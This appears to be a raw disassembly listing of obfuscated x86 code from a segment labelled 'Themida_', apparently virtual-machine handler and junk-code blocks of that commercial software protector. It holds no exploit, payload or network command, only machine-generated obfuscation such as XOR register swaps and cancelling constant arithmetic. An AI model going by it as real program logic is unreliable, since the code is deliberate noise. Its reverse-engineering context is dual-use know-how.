		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		push	eax
		mov	eax, 678351B6h
		add	[esp+8], eax
		pop	eax
		add	[esp+4], ebx
		push	edi
		push	ebx
		push	66FE074Eh
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 7F681791h
		push	edx
		jmp	loc_548181
; ---------------------------------------------------------------------------


loc_54DBB1:				; CODE XREF: Themida_:0054BA25j
		sub	edi, 36C0BF94h
		add	eax, edi
		pop	edi
		jmp	loc_548DFE
; ---------------------------------------------------------------------------


loc_54DBBF:				; CODE XREF: Themida_:00547C9Bj
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	ecx
		push	esp
		jmp	loc_545E70
; ---------------------------------------------------------------------------


loc_54DBD7:				; CODE XREF: Themida_:0054E933j
		sub	esi, edx
		pop	edx
		push	esi
		sub	dword ptr [esp], 467C22AAh
		pop	edx
		add	edx, 467C22AAh
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 0E42E75h
		jmp	loc_547322
; ---------------------------------------------------------------------------


loc_54DBFD:				; CODE XREF: Themida_:005465ADj
		sub	esi, edx
		sub	esi, 66587CF3h
		pop	edx
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54C5F3
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		push	eax
		push	ecx
		mov	ecx, 9AE78D1h
		dec	ecx
		jmp	loc_5472C4
; ---------------------------------------------------------------------------


loc_54DC33:				; CODE XREF: Themida_:0054AF0Ej
		xor	eax, ebp
		pop	ebp
		mov	ebx, eax
		pop	eax
		push	ebx
		jmp	loc_54A8B3
; ---------------------------------------------------------------------------


loc_54DC3F:				; CODE XREF: Themida_:0054F2A4j
		inc	esi
		jmp	loc_548830
; ---------------------------------------------------------------------------


loc_54DC45:				; CODE XREF: Themida_:005488FCj
		mov	edx, [esp]
		jmp	loc_5472E3
; ---------------------------------------------------------------------------


loc_54DC4D:				; CODE XREF: Themida_:0054CD2Ej
		xor	edi, 60E86EB9h
		xor	edi, 4E5A0F2Ah
		add	edx, edi
		pop	edi
		add	edx, ebp
		sub	edx, 76ED3EBFh
		pop	ebp
		jmp	loc_54E1D0
; ---------------------------------------------------------------------------


loc_54DC6A:				; CODE XREF: Themida_:0054953Ej
		mov	edi, 487367B1h
		sub	ebx, edi
		pop	edi
		mov	eax, [esp]
		jmp	loc_5455F8
; ---------------------------------------------------------------------------


loc_54DC7A:				; CODE XREF: Themida_:00544B8Cj
		add	eax, ecx
		pop	ecx
		jmp	loc_54D917
; ---------------------------------------------------------------------------


loc_54DC82:				; CODE XREF: Themida_:0054567Cj
		add	esp, 4
		jmp	loc_54F5BD
; ---------------------------------------------------------------------------


loc_54DC8D:				; CODE XREF: Themida_:0054E70Dj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_545508
; ---------------------------------------------------------------------------


loc_54DCA0:				; CODE XREF: Themida_:005442F5j
		sub	bl, al
		push	dx
		push	12EEh
		mov	[esp], eax
		mov	ah, 0A6h
		mov	dh, ah
		mov	eax, [esp]
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_546D1A
; ---------------------------------------------------------------------------


loc_54DCD2:				; CODE XREF: Themida_:00546FC6j
		mov	edx, 421731A2h
		add	ebx, edx
		pop	edx
		add	ebx, edi
		sub	ebx, 421731A2h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		jmp	loc_54852F
; ---------------------------------------------------------------------------


loc_54DCEF:				; CODE XREF: Themida_:0054F853j
		pop	edi
		jmp	loc_54BFCB
; ---------------------------------------------------------------------------


loc_54DCF5:				; CODE XREF: Themida_:00546FE9j
		pop	ebx
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_54CBC8
; ---------------------------------------------------------------------------


loc_54DD0D:				; CODE XREF: Themida_:0054BBACj
		push	ecx
		mov	ecx, 3FE81EABh
		add	ecx, 0CAADCFADh
		jmp	loc_54850B
; ---------------------------------------------------------------------------


loc_54DD1E:				; CODE XREF: Themida_:0054B0D7j
		sub	edx, 2
		xchg	edx, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_54B1B1
; ---------------------------------------------------------------------------


loc_54DD2E:				; CODE XREF: Themida_:005476EFj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0FFFFFFFFh
		push	ebx
		mov	ebx, 79701617h
		add	edx, ebx
		pop	ebx
		sub	edx, esi
		sub	edx, 79701617h
		pop	esi
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		push	eax
		jmp	loc_547BD6
; ---------------------------------------------------------------------------


loc_54DD5A:				; CODE XREF: Themida_:0054F4B4j
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		xor	esi, edx
		xor	edx, esi
		xor	esi, edx
		xchg	eax, esi
		push	63BDh
		mov	[esp], ebx
		mov	ebx, 1
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5465DA
; ---------------------------------------------------------------------------


loc_54DD81:				; CODE XREF: Themida_:0054DB38j
		mov	[esp], edx
		jmp	loc_549578
; ---------------------------------------------------------------------------


loc_54DD89:				; CODE XREF: Themida_:00548AE3j
		mov	[esp], ecx
		jmp	loc_548576
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_54FCFB
; ---------------------------------------------------------------------------


loc_54DD9D:				; CODE XREF: Themida_:0054BEE7j
		sub	ecx, 45222330h
		jmp	loc_549AC2
; ---------------------------------------------------------------------------


loc_54DDA8:				; CODE XREF: Themida_:0054C6EBj
		pop	edx
		pop	ebx
		push	eax
		mov	eax, 4
		jmp	loc_5445EA
; ---------------------------------------------------------------------------


loc_54DDB5:				; CODE XREF: Themida_:0054B147j
		add	esp, 4
		sub	ebx, 0A706410Eh
		add	esi, ebx
		pop	ebx
		jmp	loc_54BC33
; ---------------------------------------------------------------------------


loc_54DDC9:				; CODE XREF: Themida_:00547F68j
		sub	al, ch
		pop	ecx
		add	al, 57h
		jmp	loc_54FFE8
; ---------------------------------------------------------------------------


loc_54DDD3:				; CODE XREF: Themida_:00549CD4j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54AFF4
		push	53EEh
		mov	[esp], edx
		push	1Ch
		jmp	loc_5479EB
; ---------------------------------------------------------------------------


loc_54DDFC:				; CODE XREF: Themida_:0054F1ACj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54A462
; ---------------------------------------------------------------------------


loc_54DE0E:				; CODE XREF: Themida_:00547A4Fj
		pop	ebx
		jmp	loc_544DCE
; ---------------------------------------------------------------------------


loc_54DE14:				; CODE XREF: Themida_:0054D674j
		sub	ecx, 274E2A5Ah
		pop	edi
		jmp	loc_54AA54
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54DE28:				; CODE XREF: Themida_:00549F5Cj
		mov	ecx, 4B7656F6h
		jmp	loc_54C60C
; ---------------------------------------------------------------------------


loc_54DE32:				; CODE XREF: Themida_:00548031j
		mov	ebx, 3D36853h
		xor	ebx, 77275FB3h
		sub	ebx, 6AC8FB9Dh
		push	ecx
		jmp	loc_54F9A7
; ---------------------------------------------------------------------------


loc_54DE49:				; CODE XREF: Themida_:005454D2j
		push	esi
		mov	esi, 6E591221h
		and	esi, 1B3C0D33h
		and	esi, 5F9C1C6Eh
		add	esi, 9737A18h
		jmp	loc_54ABD7
; ---------------------------------------------------------------------------


loc_54DE66:				; CODE XREF: Themida_:0054F55Cj
		pop	edi
		add	eax, 744C5BE3h
		jmp	loc_544953
; ---------------------------------------------------------------------------


loc_54DE71:				; CODE XREF: Themida_:00546C99j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	al, 1Fh
		sub	al, 0D6h
		jmp	loc_548D49
; ---------------------------------------------------------------------------


loc_54DE81:				; CODE XREF: Themida_:005454B0j
		sub	al, dl
		pop	edx
		pop	ecx
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edx
		mov	edx, 7D5788Ah
		sub	dword ptr [esp+4], 0DB3656Dh
		add	[esp+4], edx
		add	dword ptr [esp+4], 0DB3656Dh
		push	dword ptr [esp]
		jmp	loc_54F0F9
; ---------------------------------------------------------------------------


loc_54DEAF:				; CODE XREF: Themida_:005441DAj
		pop	edx
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2
		push	ebx
		add	dword ptr [esp], 28C51628h
		pop	ebp
		push	ecx
		mov	ecx, 28C51628h
		sub	ebp, 39C9724Eh
		jmp	loc_545743
; ---------------------------------------------------------------------------


loc_54DED9:				; CODE XREF: Themida_:0054C890j
		neg	edi
		jmp	loc_547BBD
; ---------------------------------------------------------------------------


loc_54DEE0:				; CODE XREF: Themida_:005485C7j
		mov	edx, 196E72E0h
		or	edi, edx
		pop	edx
		add	edi, 0FFC1CFBFh
		sub	ebx, edi
		mov	edi, [esp]
		jmp	loc_549E16
; ---------------------------------------------------------------------------


loc_54DEF8:				; CODE XREF: Themida_:005463CBj
		pop	ebp
		add	esp, 4
		add	[esp], eax
		jmp	loc_54D287
; ---------------------------------------------------------------------------


loc_54DF07:				; CODE XREF: Themida_:00547E3Bj
		sub	eax, ebp
		jmp	loc_5441B4
; ---------------------------------------------------------------------------


loc_54DF0E:				; CODE XREF: Themida_:0054C65Aj
		add	ecx, 4
		jmp	loc_548B6D
; ---------------------------------------------------------------------------


loc_54DF19:				; CODE XREF: Themida_:0054D56Dj
		pop	ebx
		push	edx
		push	ebx
		mov	bh, 1Ch
		and	bh, 9Ch
		shr	bh, 8
		neg	bh
		add	bh, 0DDh
		mov	dh, bh
		pop	ebx
		sub	dh, 20h
		sub	al, dh
		pop	edx
		mov	dl, al
		pop	eax
		jmp	loc_549571
; ---------------------------------------------------------------------------


loc_54DF3A:				; CODE XREF: Themida_:0054B9A3j
		push	22F3h
		mov	[esp], ebx
		mov	ebx, 437F103Dh
		and	ebx, 164E35C7h
		jmp	loc_54BB76
; ---------------------------------------------------------------------------


loc_54DF52:				; CODE XREF: Themida_:00547D22j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54595C
; ---------------------------------------------------------------------------


loc_54DF6C:				; CODE XREF: Themida_:0054ADD5j
		mov	[esp], ecx
		jmp	loc_548E49
; ---------------------------------------------------------------------------


loc_54DF74:				; CODE XREF: Themida_:0054F12Cj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_547A69
; ---------------------------------------------------------------------------


loc_54DF83:				; CODE XREF: Themida_:00546012j
		shl	eax, cl
		jmp	loc_54BA60
; ---------------------------------------------------------------------------


loc_54DF8A:				; CODE XREF: Themida_:00547222j
		add	ebp, 0D3A0D89h
		mov	esi, ebp
		pop	ebp
		inc	esi
		jmp	loc_54C314
; ---------------------------------------------------------------------------


loc_54DF99:				; CODE XREF: Themida_:0054864Fj
		push	ecx
		push	eax
		mov	eax, 0
		mov	ecx, eax
		pop	eax
		add	ecx, 27C97E85h
		add	ecx, edx
		sub	ecx, 27C97E85h
		push	ebx
		mov	ebx, 0
		add	ebx, ecx
		jmp	loc_54CDA6
; ---------------------------------------------------------------------------


loc_54DFBE:				; CODE XREF: Themida_:0054C8EBj
		mov	eax, 2
		add	ecx, eax
		jmp	loc_5468D7
; ---------------------------------------------------------------------------


loc_54DFCA:				; CODE XREF: Themida_:00546AA1j
		mov	dl, 7Ah
		push	66B9h
		mov	[esp], ebx
		jmp	loc_546A51
; ---------------------------------------------------------------------------


loc_54DFD9:				; CODE XREF: Themida_:0054A0FEj
		and	ecx, 33025FCh
		push	edx
		mov	edx, 384D5DE0h
		jmp	loc_5498E9
; ---------------------------------------------------------------------------


loc_54DFEA:				; CODE XREF: Themida_:00545838j
		pop	ebp
		jmp	loc_54C9C9
; ---------------------------------------------------------------------------


loc_54DFF0:				; CODE XREF: Themida_:0054CBF3j
		sub	eax, edi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_54AD4F
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54E00B:				; CODE XREF: Themida_:00548727j
		push	3EF95096h
		jmp	loc_54818B
; ---------------------------------------------------------------------------


loc_54E015:				; CODE XREF: Themida_:00549110j
		push	edx
		mov	edx, 7ADF321Fh
		sub	edx, 53A47085h
		shr	edx, 6
		add	edx, 35C44536h
		or	edx, 3EE31663h
		and	edx, 4CD244FEh
		sub	edx, 0A6FDAAF1h
		add	ecx, 32F473F6h
		jmp	loc_54F576
; ---------------------------------------------------------------------------


loc_54E047:				; CODE XREF: Themida_:005492A9j
		pop	ebp
		mov	ebx, [esp]
		jmp	loc_54A97F
; ---------------------------------------------------------------------------


loc_54E050:				; CODE XREF: Themida_:00546BBAj
		add	esp, 4
		pop	edx
		push	72C7h
		jmp	loc_5483DD
; ---------------------------------------------------------------------------
		dw 4ACh
		dd 90BEE9F2h, 8B66FFFFh
; ---------------------------------------------------------------------------
		add	al, 24h
		push	ebp
		mov	ebp, esp
		push	edx
		push	eax
		mov	eax, 62081B9Ah
		inc	eax
		not	eax
		inc	eax
		dec	eax
		add	eax, 62081BA0h
		mov	edx, eax
		pop	eax
		sub	ebp, 34CD5FDFh
		add	ebp, edx
		add	ebp, 34CD5FDFh
		pop	edx
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5447E1
; ---------------------------------------------------------------------------


loc_54E09F:				; CODE XREF: Themida_:00544589j
		xor	ecx, eax
		pop	eax
		shr	ecx, 6
		shr	ecx, 3
		shl	ecx, 5
		inc	ecx
		add	ecx, 3F252911h
		and	ecx, 4D2955F6h
		shr	ecx, 4
		push	edi
		mov	edi, 2C350F14h
		push	eax
		push	ebx
		mov	ebx, 79727983h
		inc	ebx
		push	ebp
		jmp	loc_54F926
; ---------------------------------------------------------------------------


loc_54E0CF:				; CODE XREF: Themida_:005493E5j
		mov	[esp], eax
		mov	eax, 2
		jmp	loc_55002A
; ---------------------------------------------------------------------------


loc_54E0DC:				; CODE XREF: Themida_:0054A82Cj
		pop	dword ptr [esp]
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_549AAE
; ---------------------------------------------------------------------------


loc_54E0F6:				; CODE XREF: Themida_:00546670j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_54BC9B
; ---------------------------------------------------------------------------


loc_54E107:				; CODE XREF: Themida_:00546BCAj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_547373
; ---------------------------------------------------------------------------


loc_54E115:				; CODE XREF: Themida_:0054F910j
		xor	eax, 5853C49Eh
		xor	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_5456F2
; ---------------------------------------------------------------------------


loc_54E12D:				; CODE XREF: Themida_:00549661j
		push	ebp
		mov	ebp, 30B533B9h
		push	eax
		mov	eax, 33E33CBCh
		shr	eax, 6
		jmp	loc_54D4B2
; ---------------------------------------------------------------------------


loc_54E141:				; CODE XREF: Themida_:00547547j
		mov	edx, 0EF56BD3h
		jmp	loc_54769F
; ---------------------------------------------------------------------------


loc_54E14B:				; CODE XREF: Themida_:00544F65j
		add	esp, 4
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 7A064879h
		add	eax, edi
		push	edi
		mov	edi, 7A064879h
		add	eax, edi
		jmp	loc_54632B
; ---------------------------------------------------------------------------


loc_54E16D:				; CODE XREF: Themida_:0054B3E7j
		pop	esp
		jmp	loc_5475EB
; ---------------------------------------------------------------------------


loc_54E173:				; CODE XREF: Themida_:00548AF7j
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_54BC0A
; ---------------------------------------------------------------------------


loc_54E18C:				; CODE XREF: Themida_:00546340j
		pop	edi
		jmp	loc_54BCCD
; ---------------------------------------------------------------------------


loc_54E192:				; CODE XREF: Themida_:0054C672j
		mov	[esp], ebx
		push	edx
		mov	edx, 4DEB0DEBh
		jmp	loc_54D5AA
; ---------------------------------------------------------------------------


loc_54E1A0:				; CODE XREF: Themida_:0054560Fj
		shr	ecx, 3
		shl	ecx, 6
		and	ecx, 6C980ACAh
		inc	ecx
		not	ecx
		add	ecx, 72F11CBAh
		sub	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 602A7289h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, eax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54E1D0:				; CODE XREF: Themida_:0054DC65j
		sub	ecx, edx
		pop	edx
		push	ebp
		jmp	loc_54D18B
; ---------------------------------------------------------------------------


loc_54E1D9:				; CODE XREF: Themida_:00547D65j
		mov	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	edi
		jmp	loc_5473FD
; ---------------------------------------------------------------------------


loc_54E1EB:				; CODE XREF: Themida_:0054871Ej
		not	ecx
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		sub	esp, 4
		mov	[esp], ecx
		not	dword ptr [esp]
		jmp	loc_549330
; ---------------------------------------------------------------------------


loc_54E201:				; CODE XREF: Themida_:00547B89j
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_54AFFB
; ---------------------------------------------------------------------------


loc_54E20F:				; CODE XREF: Themida_:005481A4j
		sub	esi, 57A5048Eh
		jmp	loc_54C98D
; ---------------------------------------------------------------------------


loc_54E21A:				; CODE XREF: Themida_:00547F72j
		add	eax, ecx
		jmp	loc_54E829
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54525B
; ---------------------------------------------------------------------------


loc_54E22A:				; CODE XREF: Themida_:0054AC6Bj
		neg	ecx
		xor	ecx, 50D6141Ah
		mov	edi, ecx
		pop	ecx
		neg	edi
		shl	edi, 1
		shl	edi, 1
		jmp	loc_54D98A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54E24F:				; CODE XREF: Themida_:0054B3CBj
		sub	bl, 3Bh
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	59BAh
		mov	[esp], eax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54E265:				; CODE XREF: Themida_:0054ABBEj
		sub	edi, 414C77DDh
		and	edi, 2D46553Ah
		jmp	loc_545D13
; ---------------------------------------------------------------------------


loc_54E276:				; CODE XREF: Themida_:00547F2Fj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54E286:				; CODE XREF: Themida_:00545242j
		xor	[esp], ebp
		jmp	loc_54D7F1
; ---------------------------------------------------------------------------


loc_54E28E:				; CODE XREF: Themida_:00549AA0j
		push	eax
		mov	eax, 4
		add	ebp, 37D561A7h
		jmp	loc_54935B
; ---------------------------------------------------------------------------


loc_54E29F:				; CODE XREF: Themida_:0054BCC8j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	27D7h
		mov	[esp], eax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54E2C4:				; CODE XREF: Themida_:0054C0A4j
		push	esi
		mov	esi, 4
		sub	ebp, 20E939E0h
		add	ebp, esi
		jmp	loc_54BA67
; ---------------------------------------------------------------------------


loc_54E2D7:				; CODE XREF: Themida_:0054BDE6j
		sub	eax, 0DC47A26Eh
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_545704
; ---------------------------------------------------------------------------


loc_54E2F7:				; CODE XREF: Themida_:0054441Cj
		sub	ebp, 0C699B1Ah
		jmp	loc_54C93C
; ---------------------------------------------------------------------------


loc_54E302:				; CODE XREF: Themida_:0054706Dj
		dec	edi
		and	edi, 7CFA6349h
		dec	edi
		add	edi, 97BFBEBAh
		push	edi
		sub	dword ptr [esp], offset	byte_4A049D
		pop	ecx
		jmp	loc_5498B7
; ---------------------------------------------------------------------------


loc_54E31E:				; CODE XREF: Themida_:0054FA36j
		mov	ebx, 6BC95493h
		and	ebx, 72EC336Fh
		add	ebx, 0BC1B022Eh
		add	edx, ebx
		pop	ebx
		push	4D61h
		mov	[esp], esi
		mov	esi, 29B67644h
		jmp	loc_5481A9
; ---------------------------------------------------------------------------


loc_54E344:				; CODE XREF: Themida_:0054AABBj
		mov	eax, 2
		add	ebp, eax
		push	dword ptr [esp]
		jmp	loc_54FC79
; ---------------------------------------------------------------------------


loc_54E353:				; CODE XREF: Themida_:005483D8j
		pop	edx
		add	eax, 9577D01h
		add	eax, edi
		sub	eax, 9577D01h
		sub	eax, 592F29A5h
		jmp	loc_548BE5
; ---------------------------------------------------------------------------


loc_54E36A:				; CODE XREF: Themida_:005451CAj
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, ebp
		jmp	loc_545331
; ---------------------------------------------------------------------------


loc_54E37C:				; CODE XREF: Themida_:005495C1j
		shl	edx, 1
		push	40BAh
		mov	[esp], ebp
		mov	ebp, 524E1B4Eh
		xchg	eax, ebp
		not	eax
		jmp	loc_54B912
; ---------------------------------------------------------------------------


loc_54E393:				; CODE XREF: Themida_:00549197j
		add	edi, 38A0338Fh
		push	eax
		push	edi
		jmp	loc_5474FA
; ---------------------------------------------------------------------------


loc_54E3A0:				; CODE XREF: Themida_:005452CEj
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		mov	bl, 8Bh
		mov	cl, 0C6h
		jmp	loc_54EE25
; ---------------------------------------------------------------------------


loc_54E3B0:				; CODE XREF: Themida_:0054FE73j
		add	esi, ebp
		add	esi, 5732257Dh
		pop	ebp
		push	ebp
		mov	ebp, 2
		add	esi, ebp
		pop	ebp
		push	133Eh
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_54AFC9
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_547CC6
; ---------------------------------------------------------------------------


loc_54E3D9:				; CODE XREF: Themida_:0054B998j
		pop	esi
		pop	ebp
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54E3E0:				; CODE XREF: Themida_:0054FBB8j
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_547053
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54E3F6:				; CODE XREF: Themida_:0054FD01j
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		push	5FB8h
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54E439:				; CODE XREF: Themida_:0054F0AAj
		sub	eax, ebp
		jmp	loc_546C1D
; ---------------------------------------------------------------------------


loc_54E440:				; CODE XREF: Themida_:0054D749j
		mov	ecx, 69C36736h
		add	ebx, ecx
		jmp	loc_548093
; ---------------------------------------------------------------------------


loc_54E44C:				; CODE XREF: Themida_:0054C0FDj
		sub	ebx, 602A7289h
		jmp	loc_54FA4E
; ---------------------------------------------------------------------------


loc_54E457:				; CODE XREF: Themida_:00547E2Aj
		add	word ptr [esp],	1
		pop	bx
		sub	bx, 6858h
		jmp	loc_5459E2
; ---------------------------------------------------------------------------


loc_54E468:				; CODE XREF: Themida_:0054D3E8j
		mov	edx, [esp]
		add	esp, 4
		add	edx, ecx
		pop	ecx
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_548C20
; ---------------------------------------------------------------------------


loc_54E47D:				; CODE XREF: Themida_:0054A571j
		add	eax, edi
		pop	edi
		push	edi
		jmp	loc_54C885
; ---------------------------------------------------------------------------


loc_54E486:				; CODE XREF: Themida_:0054531Cj
		add	esp, 4
		add	esp, 4
		and	edx, 3A2E2EA4h
		shl	edx, 8
		xor	edx, 56FBA034h
		mov	edi, edx
		jmp	loc_54EE2F
; ---------------------------------------------------------------------------


loc_54E4A8:				; CODE XREF: Themida_:0054FC08j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_548644
; ---------------------------------------------------------------------------


loc_54E4BB:				; CODE XREF: Themida_:005449A3j
		pop	edx
		push	71B2h
		mov	[esp], edi
		push	eax
		push	19B57A6Ah
		pop	eax
		push	eax
		jmp	loc_54F414
; ---------------------------------------------------------------------------


loc_54E4D1:				; CODE XREF: Themida_:00548928j
		mov	esp, [esp]
		add	ebx, 4
		push	edi
		jmp	loc_5489E8
; ---------------------------------------------------------------------------


loc_54E4E0:				; CODE XREF: Themida_:00544EE0j
		neg	ebx
		not	ebx
		shr	ebx, 5
		add	ebx, 3412BDE6h
		mov	edx, ebx
		jmp	loc_54474D
; ---------------------------------------------------------------------------


loc_54E4F4:				; CODE XREF: Themida_:0054629Fj
		add	edi, 59345F11h
		jmp	loc_54ABEB
; ---------------------------------------------------------------------------


loc_54E4FF:				; CODE XREF: Themida_:0054421Dj
		sub	al, 0D0h
		sub	al, dl
		add	al, 0D0h
		mov	edx, [esp]
		add	esp, 4
		add	al, 69h
		sub	al, dh
		sub	al, 69h
		add	al, 0E6h
		jmp	loc_54F131
; ---------------------------------------------------------------------------


loc_54E518:				; CODE XREF: Themida_:0054A6A5j
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54E524:				; CODE XREF: Themida_:0054FDB1j
		add	ecx, edx
		pop	edx
		add	ecx, 4
		push	2EF0h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_548F0A
; ---------------------------------------------------------------------------


loc_54E53E:				; CODE XREF: Themida_:00548B73j
		xchg	ecx, [esp]
		jmp	loc_545A97
; ---------------------------------------------------------------------------


loc_54E546:				; CODE XREF: Themida_:0054A5CDj
		mov	eax, 4
		jmp	loc_54ED13
; ---------------------------------------------------------------------------


loc_54E550:				; CODE XREF: Themida_:0054B8D8j
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, edi
		jmp	loc_54FA13
; ---------------------------------------------------------------------------


loc_54E562:				; CODE XREF: Themida_:0054B474j
		mov	[esp], esi
		mov	esi, 0
		mov	ebx, esi
		jmp	loc_5471A0
; ---------------------------------------------------------------------------


loc_54E571:				; CODE XREF: Themida_:0054943Bj
		pop	ebp
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 2
		jmp	loc_54A69C
; ---------------------------------------------------------------------------


loc_54E585:				; CODE XREF: Themida_:005483BFj
		push	55FCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_54D4DA
; ---------------------------------------------------------------------------


loc_54E5A2:				; CODE XREF: Themida_:00544863j
		mov	eax, 55934F92h
		not	eax
		push	edi
		mov	edi, 9E20583Fh
		add	eax, edi
		pop	edi
		jmp	loc_54D769
; ---------------------------------------------------------------------------


loc_54E5B7:				; CODE XREF: Themida_:0054BD78j
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_545FA9
; ---------------------------------------------------------------------------


loc_54E5D0:				; CODE XREF: Themida_:0054EEBFj
		mov	[esp], ebp
		jmp	loc_54A4C9
; ---------------------------------------------------------------------------


loc_54E5D8:				; CODE XREF: Themida_:0054B81Bj
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_546574
; ---------------------------------------------------------------------------


loc_54E5EF:				; CODE XREF: Themida_:00545231j
		push	7283339Ah
		pop	ebx
		and	ebx, 6F657508h
		inc	ebx
		sub	ebx, 0C67C653h
		jmp	loc_5446DF
; ---------------------------------------------------------------------------


loc_54E607:				; CODE XREF: Themida_:0054CF1Fj
		push	ebp
		jmp	loc_54D4BD
; ---------------------------------------------------------------------------


loc_54E60D:				; CODE XREF: Themida_:0054D1D8j
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_54D759
; ---------------------------------------------------------------------------


loc_54E625:				; CODE XREF: Themida_:0054BA3Bj
		mov	[esp], edx
		push	esi
		mov	esi, 0BBD61FAh
		xor	esi, 790B7ECBh
		jmp	loc_548D67
; ---------------------------------------------------------------------------


